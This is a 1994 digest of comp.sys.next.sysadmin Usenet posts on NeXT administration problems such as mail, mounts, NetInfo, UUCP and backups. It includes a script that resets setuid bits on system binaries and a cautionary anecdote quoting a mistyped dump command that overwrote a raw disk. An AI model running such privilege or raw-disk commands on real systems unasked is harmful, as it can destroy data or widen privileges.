52)/NeXT-2.0)^M
id AA25355; Fri, 25 Feb 94 20:24:42 EST^M
Received: from ns1.rutgers.edu by MIT.EDU with SMTP^M
id AA10488; Fri, 25 Feb 94 20:24:40 EST^M
[rest deleted]
So, every line ends w/ a ^M and I want to get rid of it. This confuses
both dmail and Elm enough that I can't read mail at all.
I suspect that the NeXT is causing this problem, but I'd like to know
if there's anything that I could do on the Amiga side to fix this (so
that I wouldn't have to do something drastic like recompile UUCP on the
NeXT). Or, if someone's dealt with this problem on the NeXT before and
knows of a simple fix, I'd welcome that information as well...
Thanks.
-Dave
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From: richard%runner.uucp@usc.edu
Newsgroups: comp.sys.next.sysadmin
Subject: mount cd-rom (68000)
Date: 27 Feb 1994 21:48:17 -0800
Organization: runner
Sender: richard@runner.uucp@usc.edu
Distribution: world
Message-ID: <2ks0j1$1im@runner.uucp>
I am trying to permanently mount a cd-rom so it doesn't eject on logout and
is always available. As root, I have attempted several /usr/etc/mount
commands, pushed the cd-rom in the drive when the window says to, to no
avail.
Here are a few attempts:
runner:1# /usr/etc/mount /dev/sd2a /Nova
mount: /dev/sd2a on /Nova: I/O error
mount: giving up on:
/Nova
runner:4# /usr/etc/mount -r /dev/sd2a /NOVA_SE
mount: /dev/sd2a on /NOVA_SE: I/O error
mount: giving up on:
/NOVA_SE
/usr/etrunner:6# /usr/etc/mount -rt cfs /dev/sd2a /NOVA_SE
mount: /dev/sd2a on /NOVA_SE: Invalid argument
mount: giving up on:
/NOVA_SE
I also tried entering a line in /etc/fstab to mount the cd-rom at boot-time,
this did not work.
Equipment:
NeXT Station Color running OS 3.2
NeXT cd-rom player
cd to mount: Nova for Next (2 ed)
Any help would be appreceiated.
---
Richard
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(ok to send NeXT Mail)
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From: rainer@wifzack.fml.tuwien.ac.at (Rainer Staringer)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: EATA timeout?
Date: 28 Feb 1994 10:25:58 GMT
Organization: Vienna University of Economics and Business Administration
Distribution: world
Message-ID: <2ksgrm$i9r@osiris.wu-wien.ac.at>
References: <next2.762385164@info2.rus.uni-stuttgart.de>
In article <next2.762385164@info2.rus.uni-stuttgart.de>
next2@info2.rus.uni-stuttgart.de (Markus Wenzel) writes:
> grio@next.com (Dan Grillo) writes:
>
> >Try running your DPT cards at 5Mb/sec instead of 10Mb/sec.
>
> 1. It even crashed with 5 MB.
>
> 2. I did not buy Fast-SCSI-II disks and an EISA SCSI adapter in
order
> to limit its performance to 5 MB/s.
>
> 3. 2021 works with 10 MB/s (but performs slower than with 5 MB/s
jumpered).
I tried that too, but it didn't fix the problem. I still get timeouts.
The performance is much worse with 5MB than with 10MB (I have a 2022).
Rainer
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From: jmd@cube.handheld.com (Jim De Arras)
Newsgroups: comp.sys.next.sysadmin
Subject: Change IP address on netinfo server?
Date: 23 Feb 1994 23:36:48 GMT
Organization: Hand Held Products, Inc.
Distribution: world
Message-ID: <2kgpagINNbq4@clem.handheld.com>
How do you change the internet address on a 3.2 netinfo server black box? I
used simple_network_ starter to create it, but now we've been assigned a
different IP address/range and both the network starter app, and hostmanager
will not allow me to touch the address field, now!
Jim
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From: rob@ai.iit.nrc.ca (Rob Wylie)
Newsgroups: comp.sys.next.sysadmin
Subject: Minimum X over SLIP?
Date: 28 Feb 94 10:58:21
Organization: National Research Council of Canada
Message-ID: <ROB.94Feb28105821@ksl09.ai.iit.nrc.ca>
A very naive question, I am sure...but here it is:
If you want to run X applications (on the Sun at work) from your NeXT
(in the spare bedroom/office at home) over a SLIP connection, what is
the minimum X installation required?
Yesterday I though all I would need is the server...that there would
be some obvious way to tell it to run clients on a remote host. But
all my efforts to do this failed miserably.
So, what do I need on the local machine? Just a window manager?
A local xterm executable? Fonts?
If at all possible I would like to avoid downloading the full
(15,000,000 bytes) of X11R5-basics...
thanks for any advice,
Rob Wylie
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Changing Hostname on Next NetInfo Server
Organization: CYANTIC Systems
Date: Sun, 27 Feb 1994 20:13:42 GMT
Message-ID: <1994Feb27.201342.10828@cyantic.com>
The subject says it all. I posted a note last week with incorrect
information in it. This Next is a Netinfo Server on a two-machine network.
Since I received no helpful replies I am posting again.
I'd like to change the hostname of a Netinfo server. I know, I should have
thought about this a couple years ago, but the systems were at remote
offices at the time and I didn't need to connect them.
Anyway, in HostManager.app-Local Configuration, the hostname is displayed
but cannot be changed. I suppose I could try Simple Network Starter again,
but screwing up my system is not what I had in mind, so I thought I'd ask
first. There are a couple other non-Next hosts on the network also.
This used to be a simple operation on small network. Why isn't it now?
What am I missing.
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From: richarda@dcs.qmw.ac.uk (Achmatowicz)
Subject: Gateway 2000 4DX2-66V and NSI
Message-ID: <CLy409.9rs@dcs.qmw.ac.uk>
Sender: usenet@dcs.qmw.ac.uk (Usenet News System)
Organization: Computer Science Dept, QMW, University of London, UK.
Date: Mon, 28 Feb 1994 17:45:45 GMT
I have a Gateway 2000 4DX2-66V PC with the following:
ATI Ultra XLR video card
Adaptec 1542CF controller
Fujitsu M2624FA SCSI drive
Gateway 2000 'AnyKey' keyboard
Toshiba 3401 CD-ROM.
I have a problem in that when the machine is left alone for
more than 2 hours, the scroll light starts flashing. About
half an hour later, a Kernel Trap or System Panic occurs,
without fail.
If the machine is used continuously, or at least not left
untouched for more than two hours, no problem.
If there are any Gateway 2000 users with a similar configuration
who have (or who have not) had this problem, i'd appreciate
hearing from you.
Richard
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From: nando@ccrma.stanford.edu (Fernando Pablo Lopez Lezcano)
Newsgroups: comp.sys.next.sysadmin
Subject: Q: dump - restore pipe and suid bits bug in 3.2
Date: 28 Feb 1994 18:03:07 GMT
Organization: Stanford University
Message-ID: <2ktbkr$npo@nntp2.Stanford.EDU>
Is there a workaround for the suid bits bug in restore (3.2)? I'm trying
to clone a bootable disk to replace it with a bigger one but the
suggestion I read on the Net about mounting the destination disk with the
suid option did not work for me. Restore is still refusing to restore the
suid bits...
Before trying the suid mount option all I was getting was a core dump or
bus error after a "changing volumes in input pipe?" error message... :-(
Thanks in advance for any help.
-- Fernando
nando@ccrma.stanford.edu
Newsgroups: comp.sys.next.sysadmin
From: emstech@improv.music.mcgill.ca
Subject: Re: mail problems
Message-ID: <1994Feb28.185023.27825@sifon.cc.mcgill.ca>
Sender: news@sifon.cc.mcgill.ca
Organization: McGill University
References: <2kg7h5$rrm@bilbo.suite.com>
Date: Mon, 28 Feb 1994 18:50:23 GMT
In article <2kg7h5$rrm@bilbo.suite.com> shepherd@suite.com (Scot Shepherd)
writes:
>
> I have this recurring problem on my mail hub machine... Anyone seen
> this before. Mail processes hogging the whole CPU forever (until I
> kill them...)
>
> USER PID %CPU %MEM VSIZE RSIZE TT STAT TIME COMMAND
> root 340 31.1 1.6 1.62M 536K ? R 684:11 -AA00340
> relay2.UU.NET: DAT
> root 12624 30.6 1.4 1.62M 448K ? R 20hr -AA12624
> brownvm.brown.edu:
> root 18517 29.3 1.6 1.62M 520K ? R 397:34 -AA18517 frodo:
> DATA (sendm
> .
> .
> .
>
> --
> ---------------------------------------------------------------------
> ----
> -- Scot Shepherd -- Suite Software | Look TWICE! Motorcycles are
> --
> -- Email: shepherd@suite.com | everywhere!!!
> --
> -- Compu$erve: 72754,1105 | 82 Virago, 89 YZ250
> --
> ---------------------------------------------------------------------
> ----
Oh yes .. mail problems, I got a lot of those here.
Alain
Mcgill University
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: eboltz@acoustica.mrd.bldrdoc.gov (Eric)
Subject: 3.2 vs. 3.0 on BLACK
Message-ID: <CLy3Iq.3qI@bldrdoc.gov>
Sender: news@bldrdoc.gov
Organization: National Institute of Standards and Technology
Date: Mon, 28 Feb 1994 17:35:14 GMT
I have a lone NeXT (turbo color, adb) in a hetero net (hpux, sun) and
I'm interested in *WHY* I should upgrade to 3.2 from 3.0.
The upgrade isn't cheap ($700) so I have to justify it somehow...
Eric
--
Eric S. Boltz
My views, opinions and statements in no way reflect those of the U.S. Gov't,
the U.S. Department of Commerce or NIST.
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Q: dump - restore pipe and suid bits bug in 3.2
Date: 28 Feb 94 20:49:18 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.762468558@info2.rus.uni-stuttgart.de>
References: <2ktbkr$npo@nntp2.Stanford.EDU>
nando@ccrma.stanford.edu (Fernando Pablo Lopez Lezcano) writes:
>Is there a workaround for the suid bits bug in restore (3.2)? I'm trying
>to clone a bootable disk to replace it with a bigger one but the
>suggestion I read on the Net about mounting the destination disk with the
>suid option did not work for me. Restore is still refusing to restore the
>suid bits...
This is my private workaround. Might need slight modifications for other sites...
#! /bin/sh
chmod ug+s /usr/lib/NextStep/Workspace.app/Workspace
chmod u+s /usr/lib/ex3.7recover
chmod u+s /usr/lib/ex3.7preserve
chmod ug+s /usr/lib/rcssnoop
chmod u+s /usr/lib/sendmail.orig
chmod u+s /usr/lib/sendmail
chmod ug+s /usr/lib/NextPrinter/FaxDaemon
chmod ug+s /usr/lib/NextPrinter/Faxxess
chmod ug+s /usr/lib/NextPrinter/exec_faxes
chmod u+s /usr/lib/Preferences/check_ntpd
chmod u+s /usr/lib/Preferences/set_time_zone
chmod u+s /usr/lib/Preferences/clock_chip
chmod u+s /usr/lib/Preferences/boot_cmd
chmod u+s /usr/lib/Preferences/date
chmod u+s /usr/lib/Preferences/ntp
chmod ug+s /usr/ucb/netstat
chmod u+s /usr/ucb/rcp
chmod u+s /usr/ucb/rdist
chmod u+s /usr/ucb/rlogin
chmod u+s /usr/ucb/rsh
chmod g+s /usr/ucb/sysline
chmod g+s /usr/ucb/talk
chmod u+s /usr/ucb/traceroute
chmod u+s /usr/ucb/w
chmod u+s /usr/ucb/uptime
chmod u+s /usr/bin/at
chmod u+s /usr/bin/atrm
chmod u+s /usr/bin/atq
chmod u+s /usr/bin/iostat
chmod u+s /usr/bin/newaliases
chmod u+s /usr/local/bin/mailq
chmod u+s /usr/local/bin/smail
chmod g+s /usr/bin/pmem
chmod g+s /usr/etc/arp
chmod g+s /usr/etc/dmesg
chmod g+s /usr/etc/dump
chmod ug+s /usr/etc/rdump
chmod g+s /usr/etc/kgmon
chmod u+s /usr/etc/ping
chmod g+s /usr/etc/vmoprint
chmod g+s /usr/etc/nfsstat
chmod ug+s /usr/etc/autoNetWaremount
chmod u+s /usr/filesystems/DOS.fs/DOS.util
chmod u+s /usr/filesystems/CDROM.fs/CDROM.util
chmod u+s /usr/filesystems/mac.fs/mac.util
chmod u+s /usr/filesystems/cdaudio.fs/cdaudio.util
chmod u+s /usr/netware/etc/nucmessaged
chmod u+s /NextDeveloper/Demos/CDPlayer.app/CDPlayer
chmod u+s /NextDeveloper/Demos/Zilla.app/ZillaMaster
chmod g+s /bin/df
chmod u+s /bin/login
chmod u+s /bin/mail
chmod u+s /bin/passwd
chmod u+s /bin/ps
chmod u+s /bin/su.nowheel
chmod g+s /bin/wall
chmod g+s /bin/write
chmod u+s /NextAdmin/BuildDisk.app/BuildDisk
chmod u+s /NextAdmin/SimpleNetworkStarter.app/SimpleNetworkStarter
chmod u+s /NextAdmin/HostManager.app/HostManager
chmod u+s /NextAdmin/NetWareManager.app/NetWareManager
chmod u+s /NextAdmin/NFSManager.app/ExportsHelper
chmod u+s /NextAdmin/UserManager.app/UserManager
chmod u+s /NextAdmin/Configure.app/Configure
chmod ug+s /NextApps/PrintManager.app/PrintManager
chmod u+s /NextApps/Terminal.app/Terminal
chmod ug+s /usr/lib/lpd
chmod ug+s /usr/ucb/lpq
chmod ug+s /usr/ucb/lprm
chmod ug+s /usr/ucb/lpr
chmod u+s /usr/bin/tip
chmod u+s /usr/etc/timedc
chmod ug+s /usr/lib/uucp/uucico
chmod ug+s /usr/lib/uucp/uuxqt
chmod g+s /usr/bin/filemem
chmod u+s /usr/lib/fastps
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IRC: Marsu Expert in quantum bogodynamics
Newsgroups: comp.sys.next.sysadmin
From: pwang@microimmun.medsch.ucla.edu (Peter Wang)
Subject: Need help with crontab and shell script
Message-ID: <pwang.37.003DE1C9@microimmun.medsch.ucla.edu>
Keywords: cron, crontab
Sender: news@medsun.medsch.ucla.edu
Organization: IMMEX Development Lab.
Date: Mon, 28 Feb 1994 12:26:50 UNDEFINED
Hi, Next experts out there. I need some help in using crontab with my next
(black) machine. Here's the procedure that I want to automate and execute at
a specific time:
1. attache and login to a netware server.
2. tar and compress a directory over to the server.
3. logout and detache from the netware server.
I basically know how to write a shell script to do step 2 but don't know about
anything that would do things in steps 1 and 3. I also don't know much about
the Next crontab entries. Although it looks like a standard unix crontab file,
I don't really know what application I should run to modify it. Is it ok to
edit it directly using vi?
Any help would be greatly appreciated.
Peter
pwang@microimmun.medsch.ucla.edu
From: cdl@chiton.ucsd.edu (Carl Lowenstein)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Jayson's Joke -- NOT
Date: 28 Feb 1994 14:12:34 -0800
Organization: Marine Physical Lab, UC San Diego
Message-ID: <2ktq8i$i6k@chiton.ucsd.edu>
References: <2klki2$q01@chiton.ucsd.edu> <1994Feb26.121233.949@hot.com>
First of all, I couldn't resist the alliteration in the Subject: line,
so I must apologize to Jayson for involving him (if only by name).
Interesting replies include:
In article <1994Feb26.121233.949@hot.com> Robert La Ferla <Robert_La_Ferla@hot.com> writes:
>The Organization field is not set in NewsGrazer. It's set in C-News or
>whatever news software you have installed on your system.
I guess I didn't mention that I don't have any news software on this
system. It gets its news from an nntp server somewhere else.
>In article <2klki2$q01@chiton.ucsd.edu> cdl@chiton.ucsd.edu (Carl
>Lowenstein) writes:
>>
>> So I installed the latest version of NewsGrazer on a NeXTstation.
>> Along the way, a window popped up asking me to tell it things like
>> "Organization:". I figured that this could be saved until later,
>> and went onward.
As a result, my nntp server inserts the line:
>> Organization: A poorly-installed InterNetNews site
When asked about this, the manager of the server replied:
> Date: Fri, 25 Feb 1994 17:17:23 -0800
> From: brian@nothing.ucsd.edu (Brian Kantor)
> To: cdl@mpl.UCSD.EDU
> Subject: Re: network.ucsd.edu as nntp server
>
> I think INN sticks that in if the Organization header is missing or null.
So now the question of the day is: where does NewsGrazer look to
find something to put into the Organization: field before forwarding
the whole thing to the remote server?
Is this something global to a particular machine, or is it set per
user? If the NeXT way of doing things was more like BSD, I could set
an environment variable, documented to be ORGANIZATION. Here on the
NeXT I could do a dwrite, if I knew what variable name NewsGrazer would
like to see.
carl
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clowenstein@ucsd.edu
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 28 Feb 1994 01:34:54 -0500
Organization: Next Announcements
Message-ID: <2ks3ae$71j@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
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This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
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or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Jayson's Joke -- NOT
Date: 28 Feb 1994 23:53:36 -0000
Organization: me organized? That's a joke!
Message-ID: <2ku060$35i@steffi.demon.co.uk>
References: <2klki2$q01@chiton.ucsd.edu> <1994Feb26.121233.949@hot.com> <2ktq8i$i6k@chiton.ucsd.edu>
cdl@chiton.ucsd.edu (Carl Lowenstein) wrote in comp.sys.next.sysadmin
>So now the question of the day is: where does NewsGrazer look to
>find something to put into the Organization: field before forwarding
>the whole thing to the remote server?
It's a system thing. There's a file inn.conf in your NEWSDIR
(/usr/local/news?) which has an entry and $NEWSDIR/inews inserts this
header into every post you make.
Note inews.c
/* Set Organization. */
if (AddOrg
&& HDR(_organization) == NULL
&& (p = GetConfigValue(_CONF_ORGANIZATION)) != NULL) {
HDR(_organization) = COPY(p);
}
NG appears to not store ORGANIZATION locally (defaults) and relies on
inews providing it.
inews does understand ORGANIZATION as an environment variable, but I
don't think that's going to do you any good unless you invoke NG from
the command line.
>
>Is this something global to a particular machine, or is it set per
>user? If the NeXT way of doing things was more like BSD, I could set
>an environment variable, documented to be ORGANIZATION. Here on the
>NeXT I could do a dwrite, if I knew what variable name NewsGrazer would
>like to see.
>
> carl
>--
> carl lowenstein marine physical lab u.c. san diego
> {decvax|ucbvax} !ucsd!mpl!cdl cdl@mpl.ucsd.edu
> clowenstein@ucsd.edu
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From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Taylor uucp setup
Date: 27 Feb 1994 21:28:21 +0100
Organization: Palumbian Research Labs
Message-ID: <2kqvp5$3mh@marsu.tynet.sub.org>
References: <CLt20z.43A@number_one.apana.org.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
nicolev@number_one.apana.org.au writes:
>Unfortunately, I still am getting an annoying error which I do not know
>how to solve (not being overly conversant with C). Below is the message I
>keep getting upon trying to make it:
>cc -c -O -g -I./.. -I.. -DSBINDIR=\"/usr/local/lib/uucp\" -DOWNER=\"uucp\"
>fsusg.c
>fsusg.c: In function `get_fs_usage':
>fsusg.c:120: storage size of `fsd' isn't known
>*** Exit 1
>Stop.
>*** Exit 1
>Stop.
>If anyone has any suggestions, please do forward them to me as I am
>totally perplexed.
Look at the source!
Line 120 is only processed if STAT_STATFS2_FS_DATA is defined (line 119!).
Some lines further, you see
#if STAT_STATFS2_BSIZE /* 4.3BSD, SunOS 4, HP-UX, AIX. */
Remember NeXTSTEP is BSD4.3, not Ultrix. If you look at the beginning of
fsusg.c, you will find that the definition of STAT_STATFS2_BSIZE results
in reading different include files (vfs.h instead of param.h and mount.h).
So the one and only thing to do is defining
#define STAT_STATFS2_BSIZE 1
#define STAT_STATFS2_FSIZE 0
in conf.h, line 172.
Regards,
Markus.
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IRC: Marsu Veni, vidi, NeXTSTEPi.
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT front end to dump/restore?
Date: 27 Feb 1994 21:33:41 +0100
Organization: Palumbian Research Labs
Message-ID: <2kr035$3ni@marsu.tynet.sub.org>
References: <S.A.MCINTYRE.94Feb14120044@shrug.dur.ac.uk> <1994Feb25.160012.11998@bozell.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Keywords: dump
cbradley@bozell.com (Chris Bradley) writes:
>We use this command for a level 0 dump of /dev/sd0a to DAT:
^^^^
> /etc/dump 0ufs /dev/nrst0 1000000 /dev/sd1a
^^^^
This is a minor typo :-)
But it is absolutely necessary to read the input line _twice_ before
hitting <Return>! Why? Once I executed
dump 0ufs /dev/rsd0a 30000
Imagine my face two seconds later :-(((
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Newsgroups: comp.sys.next.sysadmin
From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: Re: Changing Hostname on Next NetInfo Server
Message-ID: <CLyv3p.9tr@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
References: <1994Feb27.201342.10828@cyantic.com>
Date: Tue, 1 Mar 1994 03:30:59 GMT
In article <1994Feb27.201342.10828@cyantic.com>,
Mark T. Dornfeld <mark@cyantic.com> wrote:
>The subject says it all. I posted a note last week with incorrect
>information in it. This Next is a Netinfo Server on a two-machine network.
>Since I received no helpful replies I am posting again.
>
>I'd like to change the hostname of a Netinfo server. I know, I should have
>thought about this a couple years ago, but the systems were at remote
>offices at the time and I didn't need to connect them.
>
>Anyway, in HostManager.app-Local Configuration, the hostname is displayed
>but cannot be changed. I suppose I could try Simple Network Starter again,
>but screwing up my system is not what I had in mind, so I thought I'd ask
>first. There are a couple other non-Next hosts on the network also.
I posted a pretty good explanation of this a few months ago, but now I
can't find the thing I wrote. )-: So I've re-written it off the top
of my head, sort of in a hurry.
----------------------------------------
Changing your NetInfo Server's IP address.
First make backups:
cp -rp /etc/netinfo /etc/netinfo.BAK
cp -p /etc/hostconfig /etc/hostconfig.BAK
Power down all of your NetInfo clients.
On the server, make sure there is no reference to the ip addr in the
local domain:
nidump hosts . |fgrep <hostname>
If the machine name and its ip addr is echoed to the screen be sure to
take it out using NetInfoManager.app located in /NextAdmin (or
HostManager.app). Use HostManager.app to make sure the new NetInfo
server is already in netinfo with a hostname and IP address. This
machine should also not be in the current server's local domain.
On the Server, fire up NetInfoManager.app.
Open the / domain. Go the the 'machines' directory. Find the entry
for the soon to be NetInfo server. Double click on it. It should
already have a property called 'serves' with the value './local' or
'<hostname>/local'. Add another value, './network'.
Now find the current Netinfo server's "machines" entry and remove the
./network value in the 'serves' property.
Double click on the topmost "/" in the / domain. You will see
a property called "master".
<hostname>/network
Change the value of <hostname> to be your new hostname.
On your soon to be NetInfo server, make sure the value of NETMASTER is
YES in /etc/hostconfig.
Reboot.
I think that's it, but this is just off the top of my head, so no
promises.
-rob
---
Rob Francis Unix Systems Specialist, University Computing Services
Indiana University, francisr@indiana.edu (812)855-0327
Newsgroups: comp.sys.next.sysadmin
From: mehta-anand@yale.edu
Subject: sending mail to a machine that is dynamically addressed
Message-ID: <1994Mar1.050831.28077@news.yale.edu>
Sender: news@news.yale.edu (USENET News System)
Organization: Yale University
Date: Tue, 1 Mar 1994 05:08:31 GMT
Hi there.
My NeXT is SLIPped into the Yale network and is given a dynamic address.
All outgoing mail work well, and I have made sure that the reply-to header
is set properly to a machine that is on the ethernet.
My question is:
How do I get my machine to except mail addressed to something on
remoteblah.cis.yale.edu when it thinks it's name is denys.yale.edu (denys
is the hostname, and I have set yale.edu as the domain).
All help is appreciated. I realize that I should use POP or IMAP, but I
would like to try a cludge with a changing .forward file every time I SLIP
in. Since this is once a day for most of the day, it would be convenient
to have mail appear directly on my machine (since we don't have a pop
server on the ethernetted machine).
Hope that made some sense. All comments as well as advice are
appreciated.
-Anand
--
==================================================================
Anand Mehta mehta-anand@yale.edu 203-436-1482 Computing Asst.
We dance round in a ring and suppose,
But the Secret sits in the middle and knows.
==================================================================
From: danno@css.itd.umich.edu (Dan Pritts)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: compression on DAT drive
Date: 1 Mar 1994 07:34:50 GMT
Organization: University of Michigan ITD/User Services
Message-ID: <2kur6q$odq@lastactionhero.rs.itd.umich.edu>
I've got an HP dat hooked up to a NeXT (not the same one I posted
about a few weeks ago, still can't get that one to work).
This drive is a 2G + compression drive, with a theoretical 8G
capacity.
I know that on a Sun, I would use a different device number to specify
that I want to use compression. NeXT does not appear to have such
a convention.
Until recently it hasn't been an issue whether compression is happening
or not; lately my level zero dumps are getting over 2G.
I'm also, perhaps coincidentally, beginning to get write errors at
seemingly random, but usually pretty far into, i think >2G, my dumps.
I'm wondering how I tell whether or not compression is happening, and
how to enable or disable it as I want if that's possible.
i'm running 3.2 on a cube.
danno
--
dan pritts consultant/system administrator
dan.pritts@umich.edu um itd/us unix support group
From: idpt633@tpts1.seed.net.tw (PC_user)
Newsgroups: comp.sys.next.sysadmin
Subject: uucp at 38400 ?
Date: 1 Mar 1994 03:04:53 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9403010904.AA02233@tpts1.seed.net.tw>
Dear Sir/Mdm.,
I would like to post some questions to Comp.Sys.Next.Sysadmin, and I don't
know whether I am doing the right way by referring to REMEMBER sections of
each digest. If not, please tell me how. Thanks in advance.
The following is my question.
I have communcation hardware of both sides as below,
NeXTstation Turbo(B/W)
Zyxel 1496E
